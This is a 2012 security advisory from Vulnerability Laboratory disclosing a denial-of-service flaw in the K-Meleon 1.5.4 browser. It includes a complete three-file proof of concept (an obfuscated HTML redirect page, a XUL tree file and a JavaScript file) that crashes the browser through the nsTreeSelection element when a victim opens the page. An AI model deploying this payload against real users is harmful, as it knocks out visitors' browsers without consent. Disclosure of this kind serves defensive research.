K-Meleon Browser 1.5.4 Denial Of Service

`Title:  
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K-Meleon Browser v1.5.4 - Denial of Service Vulnerability  
  
  
Date:  
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2012-04-14  
  
  
References:  
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http://www.vulnerability-lab.com/get_content.php?id=510  
  
  
VL-ID:  
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510  
  
  
Introduction:  
=============  
K-Meleon is an extremely fast, customizable, lightweight web browser based on the Gecko   
layout engine developed by Mozilla which is also used by Firefox. K-Meleon is Free, Open   
Source software released under the GNU General Public License and is designed specifically   
for Microsoft Windows operating systems.   
  
(Copy of the Vendor Homepage: http://kmeleon.sourceforge.net )  
  
  
Abstract:  
=========  
Vulnerability Laboratory Research Team discovered a remote Dangle pointer (Denial of Service) Vulnerability on K-Meleon Browser v1.5.4.  
  
  
Report-Timeline:  
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2012-04-14: Public or Non-Public Disclosure  
  
  
Status:  
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Published  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
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Medium  
  
  
Details:  
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A denial of service vulnerability is detected on K-Meleon Browser v1.5.4 . The vulnerability allows   
an attacker to form manipulated files to crash th victims browser stable when processing to request.  
The null pointer dos vulnerability is located nsTreeSelection element. Successful exploitation results  
in a stable (bex exception) application (StackHash_2c85) crash.  
  
Vulnerable Module(s):  
[+] nsTreeSelection element  
  
Picture(s):  
../1.png  
../2.png  
../3.png  
  
  
Proof of Concept:  
=================  
The vulnerability can be exploited by remote attackers. Victim only need to visit the   
malicious file (frame-class.html) to crash stable. For demonstration or reproduce ...  
  
frame-class.html  
<script language=JavaScript>m='%3Chtml%3E%0A%3Capplet%20code%3D%22hexHEX.class%22%20width  
%3D100%20height%3D140%3E%3C/applet%3E%0A%3Cscript%3Edocument.location%3D%22tree.xul%22%3C/  
script%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>  
  
  
tree.xul  
<?xml version="1.0"?>  
<?xml-stylesheet href="chrome://global/skin/" type="text/javascript"?>  
<window  
id="poc-test"  
title="TESTING EXPLOIT"  
orient="vertical"  
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="doSelect()">  
<script src="rem0ve.js"/>   
<tree id="penetrationtest" rows="1" onselect="doSelect()">  
<treechildren>   
<treeitem container="true" open="true">  
<treerow>   
<treecell label="[email protected]"/>   
</treerow>   
</treeitem>   
</treechildren>   
</tree>  
</window>  
  
  
  
rem0ve.js  
function Init()  
{  
var tree=document.getElementById('penetrationtest');  
tree.view.selection.select(0);  
doSelect();  
}  
function doSelect()  
{  
var tree=document.getElementById('penetrationtest');  
var sel = tree.view.selection;  
sel.tree = { invalidateRange: function(v,l)  
{  
sel.clearSelection();  
}  
}  
}  
setTimeout("Init()",500);  
  
  
Risk:  
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The security risk of the denial of service vulnerability is estimated as medium(-).  
  
  
Credits:  
========  
Vulnerability Research Laboratory Team - N/A Anonymous  
  
  
Disclaimer:  
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